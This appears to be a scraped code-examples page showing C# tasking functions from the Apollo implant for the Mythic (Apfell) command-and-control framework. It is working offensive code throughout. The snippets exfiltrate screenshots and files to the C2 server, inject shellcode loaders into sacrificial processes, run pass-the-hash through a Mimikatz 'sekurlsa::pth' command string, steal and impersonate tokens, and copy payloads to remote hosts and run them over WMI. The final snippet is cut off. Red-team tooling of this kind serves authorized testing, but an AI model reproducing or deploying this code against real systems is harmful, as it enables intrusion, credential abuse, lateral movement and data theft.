示例#1
0
        /// <summary>
        /// Send a chunked screenshot response to the Apfell server.
        /// </summary>
        /// <param name="implant">Agent that will be sending the data.</param>
        /// <param name="task">Task associated with the screenshot.</param>
        /// <param name="screenshot">Byte array of data that holds a chunked screenshot response.</param>
        private static void SendCapture(Agent implant, Job job, byte[] screenshot)
        {
            Task task = job.Task;

            try // Try block for HTTP request
            {
                // Send total number of chunks to Apfell server
                // Number of chunks will always be one for screen capture task
                // Receive file ID in response
                // Send number of chunks associated with task to Apfell server
                // Response will have the file ID to send file with

                int totalChunks = (int)Math.Ceiling((double)screenshot.Length / (double)implant.Profile.ChunkSize);
                ApolloTaskResponse registrationMessage = new ApolloTaskResponse()
                {
                    task_id      = task.id,
                    total_chunks = totalChunks,
                    full_path    = task.id
                };
                //SCTaskResp initial = new SCTaskResp(task.id, "{\"total_chunks\": " + total_chunks + ", \"task\": \"" + task.id + "\"}");
                job.AddOutput(registrationMessage);
                MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(task.id);
                if (resp.file_id == "")
                {
                    job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was: {0}", resp.ToString()));
                    return;
                }
                // Convert chunk to base64 blob and create our FileChunk
                for (int i = 0; i < totalChunks; i++)
                {
                    ApolloTaskResponse fc = new ApolloTaskResponse();
                    fc.chunk_num    = i + 1;
                    fc.file_id      = resp.file_id;
                    fc.total_chunks = -1;
                    byte[] screenshotChunk = new byte[implant.Profile.ChunkSize];
                    if (implant.Profile.ChunkSize > screenshot.Length - (i * implant.Profile.ChunkSize))
                    {
                        Array.Copy(screenshot, i * implant.Profile.ChunkSize, screenshotChunk, 0, screenshot.Length - (i * implant.Profile.ChunkSize));
                    }
                    else
                    {
                        Array.Copy(screenshot, i * implant.Profile.ChunkSize, screenshotChunk, 0, implant.Profile.ChunkSize);
                    }
                    fc.chunk_data = Convert.ToBase64String(screenshot);
                    fc.task_id    = task.id;

                    job.AddOutput(fc);
                    Inbox.GetMessage(task.id);
                    //Debug.WriteLine($"[-] SendCapture - RESPONSE: {implant.Profile.SendResponse(response)}");
                }
            }
            catch (Exception e) // Catch exceptions from HTTP requests
            {
                // Something failed, so we need to tell the server about it
                job.SetError($"Error: {e.Message}");
            }
        }
示例#2
0
        /// <summary>
        /// Execute an arbitrary C# assembly in a sacrificial process
        /// that respects the current caller's token.
        /// </summary>
        /// <param name="job">
        /// Job associated with this task. job.Task.parameters
        /// should contain a JSON structure with key "assembly" that
        /// has an associated Apfell file ID to pull from the server.
        /// This assembly is position-independent code generated from
        /// donut with arguments baked in.
        /// </param>
        /// <param name="agent">Agent this task is run on.</param>
        public static void Execute(Job job, Agent implant)
        {
            Task          task = job.Task;
            string        sacrificialApplication;
            string        commandLine = "";
            string        command     = "";
            string        loaderStubID;
            string        pipeName;
            JObject       json;
            List <string> output = new List <string>();

            /*
             * Response from the server should be of the form:
             * {
             * "assembly_name": "registered assembly name",
             * "loader_stub_id": "File ID of the loader stub",
             * "pipe_name": "named pipe to connect to",
             * "assembly_arguments": "command line arguments to send",
             * }
             */
            //ProcessWithAnonymousPipeIO sacrificialProcess = null;
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
            try
            {
                json = (JObject)JsonConvert.DeserializeObject(task.parameters);
            }
            catch (Exception ex)
            {
                task.status  = "error";
                task.message = $"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}";
                return;
            }

            loaderStubID = json.Value <string>("loader_stub_id");
            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = null;
            try
            {
                loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize);
            }
            catch (Exception ex)
            {
                task.status  = "error";
                task.message = $"Failed to fetch loader stub for PrintSpoofer. Reason: {ex.Message}.\nParameters:\n{task.parameters}";
                return;
            }
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.Task.status  = "error";
                job.Task.message = String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID);
                return;
            }

            pipeName = json.Value <string>("pipe_name");
            if (string.IsNullOrEmpty(pipeName))
            {
                job.Task.status  = "error";
                job.Task.message = "No pipe name was given to DLL to start the named pipe server.";
                return;
            }

            var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();

            try
            {
                // Technically we don't need the named pipe IO, but this class already has implemented what we need for
                // various token impersonation things, so why not.
                //if (implant.HasAlternateToken())
                //{
                //    sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED, true, false);
                //}
                //else if (implant.HasCredentials())
                //{
                //    sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED, false, true);
                //}
                //else
                //{
                //    sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED);
                //}

                // Deal with tokens later....

                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);

                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    ApolloTaskResponse response; //= new SCTaskResp(job.Task.id, false, String.Format("Sacrificial process spawned with PID: {0}", sacrificialProcess.PID), "");
                                                 //implant.TryPostResponse(response);
                    ////byte[] tempBytes = File.ReadAllBytes("C:\\Users\\Public\\helloworldsc_noargs.bin");
                    if (sacrificialProcess.Inject(loaderStub))
                    {
                        //sacrificialProcess.CreateNewRemoteThread(tempBytes);
                        //sacrificialProcess.ResumeThread();
                        // bool bRet = sacrificialProcess.StillActive();
                        NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);

                        pipeClient.Connect(30000);

                        StreamWriter writer;
                        try
                        {
                            writer  = new StreamWriter(pipeClient);
                            command = json.Value <string>("command");
                            writer.Write(command);
                            writer.Flush();
                            using (StreamReader sr = new StreamReader(pipeClient))
                            {
                                //sr.ReadLine();
                                var line = sr.ReadLine();
                                while (line != null && line.ToUpper().Trim() != "EOF")
                                {
                                    job.AddOutput(line);
                                    line = sr.ReadLine();
                                }
                            }
                            if (pipeClient.IsConnected)
                            {
                                writer.Close();
                            }
                            job.SetComplete();
                        }
                        catch (Exception ex)
                        {
                            job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
                        }
                    }
                    else
                    {
                        job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                    }
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in PrintSpoofer (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in PrintSpoofer. Reason: {0}", ex.Message));
                }
            }
            finally
            {
                if (!sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }
示例#3
0
        public static void PassTheHash(Job job, Agent implant)
        {
            Task task = job.Task;
            PassTheHashParameters taskParams;
            string           sacrificialApplication;
            string           commandLine = "";
            string           command     = "\"sekurlsa::pth /user:{0} /domain:{1} /ntlm:{2} /run:{3}\"";
            string           loaderStubID;
            string           pipeName;
            int              pidOfPTHProccess = -1;
            JObject          json;
            List <string>    output = new List <string>();
            MythicCredential cred;

            try
            {
                taskParams = JsonConvert.DeserializeObject <PassTheHashParameters>(job.Task.parameters);
            }
            catch (Exception ex)
            {
                job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}");
                return;
            }
            cred = taskParams.credential;


            if (string.IsNullOrEmpty(cred.account) || string.IsNullOrEmpty(cred.credential))
            {
                job.SetError("Username and password are required for pth.");
                return;
            }

            if (cred.credential_type != "hash")
            {
                job.SetError($"pth built-in can only be used with hash-type (e.g., RC4 or NTLM) credentials, and was given credentials of type {cred.credential_type}");
                return;
            }


            string userFQDN = cred.account;

            if (string.IsNullOrEmpty(cred.realm))
            {
                job.SetError("pth requires a valid realm or domain to be set.");
                return;
            }

            command = string.Format(command, new object[] { cred.account, cred.realm, cred.credential, taskParams.program });
            byte[] loaderStub;

            /*
             * Response from the server should be of the form:
             * {
             * "assembly_name": "registered assembly name",
             * "loader_stub_id": "File ID of the loader stub",
             * "pipe_name": "named pipe to connect to",
             * "assembly_arguments": "command line arguments to send",
             * }
             */
            //ProcessWithAnonymousPipeIO sacrificialProcess = null;
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;


            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = null;
            try
            {
                loaderStub = implant.Profile.GetFile(task.id, taskParams.loader_stub_id, implant.Profile.ChunkSize);
            }
            catch (Exception ex)
            {
                job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}");
                return;
            }
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", taskParams.loader_stub_id));
                return;
            }

            pipeName = taskParams.pipe_name;
            if (string.IsNullOrEmpty(pipeName))
            {
                job.SetError("No pipe name was given to DLL to start the named pipe server.");
                return;
            }


            var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();

            try
            {
                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);

                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    ApolloTaskResponse response;

                    if (sacrificialProcess.Inject(loaderStub))
                    {
                        //sacrificialProcess.CreateNewRemoteThread(tempBytes);
                        //sacrificialProcess.ResumeThread();
                        // bool bRet = sacrificialProcess.StillActive();
                        NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);

                        pipeClient.Connect(30000);

                        StreamWriter writer;
                        try
                        {
                            writer = new StreamWriter(pipeClient);
                            writer.Write(command);
                            writer.Flush();
                            using (StreamReader sr = new StreamReader(pipeClient))
                            {
                                //sr.ReadLine();
                                var line = sr.ReadLine();
                                while (line != null && line.ToUpper().Trim() != "EOF")
                                {
                                    if (line.Contains(" PID "))
                                    {
                                        string[] parts = line.Trim().Split(' ');
                                        if (parts.Length != 5)
                                        {
                                            job.SetError($"No PID could be enumerated from the line: {line}");
                                            break;
                                        }
                                        else
                                        {
                                            if (!int.TryParse(parts[4].Trim(), out pidOfPTHProccess))
                                            {
                                                job.SetError($"Failed to parse PID from: {parts[1].Trim()}");
                                                break;
                                            }
                                        }
                                    }
                                    output.Add(line);
                                    line = sr.ReadLine();
                                }
                            }
                            if (pipeClient.IsConnected)
                            {
                                writer.Close();
                            }

                            if (output.Count > 0)
                            {
                                job.AddOutput(output.ToArray());
                                output.Clear();
                            }
                        }
                        catch (Exception ex)
                        {
                            job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
                        }

                        if (pidOfPTHProccess != -1)
                        {
                            IntPtr procHandle;
                            IntPtr hStolenToken;
                            try
                            {
                                procHandle = System.Diagnostics.Process.GetProcessById((int)Convert.ToInt32(pidOfPTHProccess)).Handle;
                            }
                            catch (Exception ex)
                            {
                                throw new Exception($"Failed to acquire handle to process {pidOfPTHProccess}. Reason: {ex.Message}");
                            }

                            // Stores the handle for the original process token
                            hStolenToken = IntPtr.Zero; // Stores the handle for our duplicated token

                            // Get handle to target process token
                            bool bRet = OpenProcessToken(
                                procHandle,                                                                                      // ProcessHandle
                                (uint)(TokenAccessLevels.Duplicate | TokenAccessLevels.AssignPrimary | TokenAccessLevels.Query), // desiredAccess
                                out IntPtr tokenHandle);                                                                         // TokenHandle

                            if (!bRet)
                            {
                                throw new Exception($"Failed to open process token: {Marshal.GetLastWin32Error()}");
                                //return;
                            }// Check if OpenProcessToken was successful

                            if (!CredentialManager.SetImpersonatedPrimaryToken(tokenHandle))
                            {
                                throw new Exception($"Failed to set new primary token: {Marshal.GetLastWin32Error()}");
                            }


                            // Duplicate token as stolenHandle
                            bRet = DuplicateTokenEx(
                                tokenHandle,                                                                                                                     // hExistingToken
                                TokenAccessLevels.MaximumAllowed, /*.TOKEN_QUERY | TokenAccessRights.TOKEN_DUPLICATE | TokenAccessRights.TOKEN_ASSIGN_PRIMARY,*/ // dwDesiredAccess
                                IntPtr.Zero,                                                                                                                     // lpTokenAttributes
                                TokenImpersonationLevel.Impersonation,                                                                                           // ImpersonationLevel
                                TOKEN_TYPE.TokenImpersonation,                                                                                                   // TokenType
                                out hStolenToken);                                                                                                               // phNewToken


                            // end testing
                            if (!bRet) // Check if DuplicateTokenEx was successful
                            {
                                throw new Exception($"Failed to duplicate token handle: {Marshal.GetLastWin32Error()}");
                            }

                            ////bRet = ImpersonateLoggedOnUser(tokenHandle);
                            //if (!bRet)
                            //{
                            //    task.status = "error";
                            //    task.message = $"Failed to impersonate logged on user: {Marshal.GetLastWin32Error()}";
                            //}


                            //CloseHandle(tokenHandle);
                            //CloseHandle(procHandle);
                            if (!CredentialManager.SetImpersonatedImpersonationToken(hStolenToken))
                            {
                                throw new Exception($"Failed to impersonate user. Reason: {Marshal.GetLastWin32Error()}");
                            }
                            else
                            {
                                WindowsIdentity ident = new WindowsIdentity(hStolenToken);
                                job.SetComplete($"\n\nSuccessfully impersonated {ident.Name}!");
                                ident.Dispose();
                            }
                        }
                        else
                        {
                            job.SetError("Failed to acquire PID of PTH process.");
                        }
                    }
                    else
                    {
                        job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                    }
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in PTH (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in PTH. Reason: {0}", ex.Message));
                }
            }
            finally
            {
                if (!sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }
示例#4
0
文件: Download.cs 项目: dycsy/Apollo
        /// <summary>
        /// Download a file to the remote Apfell server.
        /// </summary>
        /// <param name="job">
        /// Job associated with this task.
        /// File to download is in job.Task.parameters
        /// </param>
        /// <param name="implant">Agent this task is run on.</param>
        public static void Execute(Job job, Agent implant)
        {
            Task task = job.Task;
            DownloadParameters dlParams;
            string             filepath     = "";
            string             host         = "";
            string             computerName = "";

            try
            {
                computerName = Environment.GetEnvironmentVariable("COMPUTERNAME");
            } catch { }
            try
            {
                dlParams = JsonConvert.DeserializeObject <DownloadParameters>(task.parameters);
            } catch (Exception ex)
            {
                job.SetError($"Failed to deserialize ");
                return;
            }
            host = dlParams.host;
            if (host != "")
            {
                if (host.ToLower() != "localhost" && host != "127.0.0.1" && host != "." && host != "::::" && host.ToLower() != computerName.ToLower())
                {
                    filepath = $"\\\\{host}\\{dlParams.file}";
                }
                else
                {
                    filepath = dlParams.file;
                    host     = computerName;
                }
            }
            else
            {
                filepath = dlParams.file;
                host     = computerName;
            }
            try // Try block for file upload task
            {
                // Get file info to determine file size
                FileInfo fileInfo = new FileInfo(filepath);
                long     size     = fileInfo.Length;

                // Determine number of 512kb chunks to send
                long total_chunks = size / 512000;
                // HACK: Dumb workaround because longs don't have a ceiling operation
                if (total_chunks == 0)
                {
                    total_chunks = 1;
                }

                // Send number of chunks associated with task to Apfell server
                // Response will have the file ID to send file with
                ApolloTaskResponse registrationMessage = new ApolloTaskResponse()
                {
                    task_id      = task.id,
                    total_chunks = total_chunks,
                    full_path    = fileInfo.FullName,
                    host         = host
                };

                job.AddOutput(registrationMessage);
                MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(job.Task.id);

                if (resp.file_id == "")
                {
                    job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was:\n\t{0}", resp.ToString()));
                    return;
                }

                // Send file in chunks
                for (int i = 0; i < total_chunks; i++)
                {
                    byte[] chunk = null;
                    long   pos   = i * 512000;

                    // We need to use a FileStream in case our file size in bytes is larger than an Int32
                    // With a filestream, we can specify a position as a long, and then use Read() normally
                    using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
                    {
                        fs.Position = pos;

                        // If this is the last chunk, size will be the remaining bytes
                        if (i == total_chunks - 1)
                        {
                            chunk = new byte[size - (i * 512000)];
                            int chunkSize = chunk.Length;
                            fs.Read(chunk, 0, chunkSize);
                        }
                        // Otherwise we'll read 512kb from the file
                        else
                        {
                            chunk = new byte[512000];
                            fs.Read(chunk, 0, 512000);
                        }
                    }

                    // Convert chunk to base64 blob and create our FileChunk
                    ApolloTaskResponse fc = new ApolloTaskResponse()
                    {
                        chunk_num    = i + 1,
                        file_id      = resp.file_id,
                        task_id      = job.Task.id,
                        chunk_data   = Convert.ToBase64String(chunk),
                        total_chunks = -1
                    };

                    job.AddOutput(fc);
                }
                job.SetComplete($"Finished downloading file {filepath}");
            }
            catch (Exception e) // Catch any exception from file upload
            {
                job.SetError($"Exception occurred while downloading file: {e.Message}");
            }
        }
示例#5
0
        public static void Execute(Job job, Agent agent)
        {
            WMIProcessExecuteParameters parameters = (WMIProcessExecuteParameters)JsonConvert.DeserializeObject <WMIProcessExecuteParameters>(job.Task.parameters);
            ApolloTaskResponse          resp;
            MythicCredential            cred = new MythicCredential();
            bool success;

            byte[] templateFile;
            string username            = null;
            string password            = null;
            string formattedRemotePath = null;
            string fileGuid            = Guid.NewGuid().ToString();

            if (string.IsNullOrEmpty(parameters.computer))
            {
                job.SetError("No computer name passed.");
                return;
            }

            if (string.IsNullOrEmpty(parameters.template))
            {
                job.SetError("No template was given to download.");
                return;
            }
            if (!string.IsNullOrEmpty(parameters.credential))
            {
                cred = JsonConvert.DeserializeObject <MythicCredential>(parameters.credential);
            }
            string remotePath = parameters.remote_path;

            if (string.IsNullOrEmpty(parameters.remote_path))
            {
                formattedRemotePath = $"\\\\{parameters.computer}\\C$\\Users\\Public\\{fileGuid}.exe";
                remotePath          = $"C:\\Users\\Public\\{fileGuid}.exe";
            }
            else
            {
                if (Directory.Exists(parameters.remote_path))
                {
                    parameters.remote_path = Path.Combine(parameters.remote_path, $"{fileGuid}.exe");
                }
                remotePath = parameters.remote_path;
                //formattedRemotePath = $"\\\\{parameters.computer}\\{parameters.remote_path.Replace(':', '$')}";
            }

            try
            {
                templateFile = agent.Profile.GetFile(job.Task.id, parameters.template, agent.Profile.ChunkSize);
            }
            catch (Exception ex)
            {
                job.SetError($"Error fetching remote file: {ex.Message}");
                return;
            }

            if (templateFile == null || templateFile.Length == 0)
            {
                job.SetError($"File ID {parameters.template} was of zero length.");
                return;
            }

            try
            {
                File.WriteAllBytes(remotePath, templateFile);
                resp = new ApolloTaskResponse(job.Task, $"Copied payload to {remotePath}");
                job.AddOutput(resp);
            }
            catch (Exception ex)
            {
                job.SetError($"Remote file copy to {remotePath} failed. Reason: {ex.Message}");
                return;
            }


            if (!string.IsNullOrEmpty(cred.account))
            {
                username = cred.account;
                if (!string.IsNullOrEmpty(cred.realm))
                {
                    username = cred.realm + "\\" + username;
                }
                password = cred.credential;
            }

            success = WMIUtils.RemoteWMIExecute(parameters.computer, remotePath, out string[] results, username, password);
            job.SetComplete(string.Join("\n", results));
        }
示例#6
0
        static void ExecuteAssembly(Job job, Agent implant)
        {
            Task   task = job.Task;
            string sacrificialApplication;
            string commandLine = "";
            string loaderStubID;
            string pipeName;
            string assemblyName;

            string[] assemblyArguments;
            byte[]   assemblyBytes = null;
            //List<string> output = new List<string>();

            /*
             * Response from the server should be of the form:
             * {
             * "assembly_name": "registered assembly name",
             * "loader_stub_id": "File ID of the loader stub",
             * "pipe_name": "named pipe to connect to",
             * "assembly_arguments": "command line arguments to send",
             * }
             */
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
            JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters);

            assemblyName = json.Value <string>("assembly_name");
            if (!loadedAssemblies.ContainsKey(assemblyName))
            {
                job.SetError(String.Format("Assembly {0} has not been loaded. Please load the assembly with the 'register_assembly' command.", assemblyName));
                return;
            }
            loaderStubID = json.Value <string>("loader_stub_id");
            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = null;
            loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize);
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID));
                return;
            }

            pipeName = json.Value <string>("pipe_name");
            if (pipeName == "")
            {
                job.SetError("No pipe name was given to send the assembly to execute.");
                return;
            }

            assemblyArguments = SplitCommandLine(json.Value <string>("assembly_arguments"));
            assemblyBytes     = GetAssembly(assemblyName);

            var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();

            try
            {
                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);

                ApolloTaskResponse artifactResp;

                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;

                    if (sacrificialProcess.Inject(loaderStub))
                    {
                        NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);
                        pipeClient.Connect(30000);
                        // Method 1
                        BinaryFormatter bf = new BinaryFormatter();
                        bf.Binder = new AssemblyJobMessageBinder();
                        bf.Serialize(pipeClient, new AssemblyJobMessage()
                        {
                            AssemblyBytes = assemblyBytes,
                            Args          = assemblyArguments,
                        });

                        try
                        {
                            using (StreamReader sr = new StreamReader(pipeClient))
                            {
                                //sr.ReadLine();
                                while (!sr.EndOfStream)
                                {
                                    var line = sr.ReadLine();
                                    if (line != null)
                                    {
                                        job.AddOutput(line);
                                    }
                                }
                            }
                        }
                        catch (Exception ex)
                        {
                            job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
                            return;
                        }
                        job.SetComplete("");
                    }
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in execute-assembly (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in execute-assembly. Reason: {0}", ex.Message));
                }
            }
            finally
            {
                if (!sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }
示例#7
0
        static void AssemblyInject(Job job, Agent implant)
        {
            Task   task        = job.Task;
            string commandLine = "";
            string loaderStubID;
            string pipeName;
            string assemblyName;

            string[] assemblyArguments;
            int      pid = -1;

            byte[] assemblyBytes = null;
            string processName   = "";

            /*
             * Response from the server should be of the form:
             * {
             * "assembly_name": "registered assembly name",
             * "loader_stub_id": "File ID of the loader stub",
             * "pipe_name": "named pipe to connect to",
             * "assembly_arguments": "command line arguments to send",
             * "pid: 1024
             * }
             */
            JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters);

            assemblyName = json.Value <string>("assembly_name");
            if (!loadedAssemblies.ContainsKey(assemblyName))
            {
                job.SetError(String.Format("Assembly {0} has not been loaded. Please load the assembly with the 'loadassembly' command.", assemblyName));
                return;
            }
            loaderStubID = json.Value <string>("loader_stub_id");
            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = null;
            loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize);
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID));
                return;
            }

            pipeName = json.Value <string>("pipe_name");
            if (pipeName == "")
            {
                job.SetError("No pipe name was given to send the assembly to execute.");
                return;
            }

            pid = json.Value <int>("pid");
            if (pid == null || pid < 0)
            {
                job.SetError("Failed to parse PID.");
                return;
            }
            job.ProcessID = pid;
            try
            {
                var tempProc = System.Diagnostics.Process.GetProcessById(pid);
                processName = tempProc.ProcessName;
            }
            catch (Exception ex)
            {
                job.SetError($"Could not retrieve information on PID {pid}. Reason: {ex.Message}");
                return;
            }

            assemblyArguments = SplitCommandLine(json.Value <string>("assembly_arguments"));
            assemblyBytes     = GetAssembly(assemblyName);

            try
            {
                var injectionType    = Injection.InjectionTechnique.GetInjectionTechnique();
                var injectionHandler = (Injection.InjectionTechnique)Activator.CreateInstance(injectionType, new object[] { loaderStub, (uint)pid });
                //Injection.CreateRemoteThreadInjection crt = new Injection.CreateRemoteThreadInjection(loaderStub, (uint)pid);


                if (injectionHandler.Inject())
                {
                    NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);

                    pipeClient.Connect(30000);

                    //assemblyBytes = File.ReadAllBytes("C:\\Users\\windev\\Desktop\\Seatbelt.exe");
                    //assemblyArguments = new string[] { "user" };
                    // Method 1
                    BinaryFormatter bf = new BinaryFormatter();
                    bf.Binder = new AssemblyJobMessageBinder();
                    bf.Serialize(pipeClient, new AssemblyJobMessage()
                    {
                        AssemblyBytes = assemblyBytes,
                        Args          = assemblyArguments,
                    });

                    try
                    {
                        List <string> output = new List <string>();

                        using (StreamReader sr = new StreamReader(pipeClient))
                        {
                            //sr.ReadLine();
                            while (!sr.EndOfStream)
                            {
                                var line = sr.ReadLine();
                                if (line != null)
                                {
                                    job.AddOutput(line);
                                }
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
                    }
                    job.SetComplete("");
                }
            }
            catch (Exception ex)
            {
                job.SetError($"Error while injecting assembly: {ex.Message}");
            }
        }
示例#8
0
        /// <summary>
        /// Run an arbitrary executable with command line arguments or
        /// run a shell command via cmd.exe /c.
        /// </summary>
        /// <param name="job">
        /// Job associated with this task. If the task is "shell" then
        /// the application to launch will be cmd.exe with job.Task.parameters
        /// specifying the shell command to execute. Otherwise, the application
        /// to launch is given by the first space-delimited argument in
        /// job.Task.parameters.
        /// </param>
        /// <param name="implant">Agent associated with this job.Task.</param>
        public static void Execute(Job job, Agent implant)
        {
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
            string             applicationName;
            string             commandLine = ""; // Probably can implement some argument spoofing stuff down the line
            string             cmdString;
            ApolloTaskResponse response;
            string             originalParams = job.Task.parameters.Trim();

            string[] split = SplitCommandLine(job.Task.parameters.Trim());
            //applicationName = split[0];

            if (job.Task.command == "shell")
            {
                applicationName = "cmd.exe";
                commandLine    += String.Format("/c \"{0}\"", split[0]);
            }
            else
            {
                applicationName = split[0];
            }

            if (split.Length > 1)
            {
                int    firstIndex     = originalParams.IndexOf(split[0]);
                string subsequentArgs = "";
                switch (firstIndex)
                {
                case 0:
                    subsequentArgs = originalParams.Substring(split[0].Length).Trim();
                    break;

                case 1:
                    if (originalParams[0] == '"' && originalParams[split[0].Length + 1] != '"')
                    {
                        job.SetError($"Command line is of unexpected format. Expected {split[0]} to be encapsulated in quotes in the original command, but got {originalParams}");
                        return;
                    }
                    else if (originalParams[0] == '\'' && originalParams[split[0].Length + 1] != '\'')
                    {
                        job.SetError($"Command line is of unexpected format. Expected {split[0]} to be encapsulated in quotes in the original command, but got {originalParams}");
                        return;
                    }
                    else
                    {
                        subsequentArgs = originalParams.Substring(split[0].Length + 2).Trim();
                    }
                    break;

                default:
                    job.SetError($"Invalid command line format. Expected first command line argument to be program or program enclosed in quotes, but instead got {split[0]}");
                    return;
                }
                if (commandLine != "")
                {
                    commandLine += String.Format(" {0}", subsequentArgs);
                }
                else
                {
                    commandLine = subsequentArgs;
                }
                cmdString = String.Format("{0} {1}", applicationName, commandLine);
            }
            else if (commandLine != "")
            {
                cmdString = String.Format("{0} {1}", applicationName, commandLine);
            }
            else
            {
                cmdString = applicationName;
            }

            try
            {
                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(applicationName, commandLine);

                sacrificialProcess.OutputDataReceived = delegate(string data)
                {
                    job.AddOutput(data);
                };

                sacrificialProcess.ErrorDataReceived = delegate(string data)
                {
                    job.AddOutput(data);
                };
                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    sacrificialProcess.WaitForExit();
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process. GetLastError(): {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            } catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in executing \"{0}\" (PID: {1}). Reason: {2}", cmdString, sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in executing \"{0}\". Reason: {1}", cmdString, ex.Message));
                }
            }

            if (sacrificialProcess != null)
            {
                if (sacrificialProcess.ExitCode == 0 && sacrificialProcess.PID != 0)
                {
                    job.SetComplete(String.Format("Process executed \"{0}\" with PID {1} and returned exit code {2}", cmdString, sacrificialProcess.PID, sacrificialProcess.ExitCode));
                }
                else
                {
                    job.SetError($"Unknown error. Exit code: {sacrificialProcess.ExitCode} from PID: {sacrificialProcess.PID}");
                }
            }
        }
示例#9
0
        public static void Execute(Job job, Agent implant)
        {
            Task   task     = job.Task;
            string computer = task.parameters.Trim();

            if (string.IsNullOrEmpty(computer))
            {
                job.SetError("No computer given to list.");
                return;
            }

            try
            {
                NetShareInformation[] results = GetComputerShares(computer);
                if (results.Length > 0)
                {
                    foreach (NetShareInformation share in results)
                    {
                        DirectoryInfo pathDir;
                        try
                        {
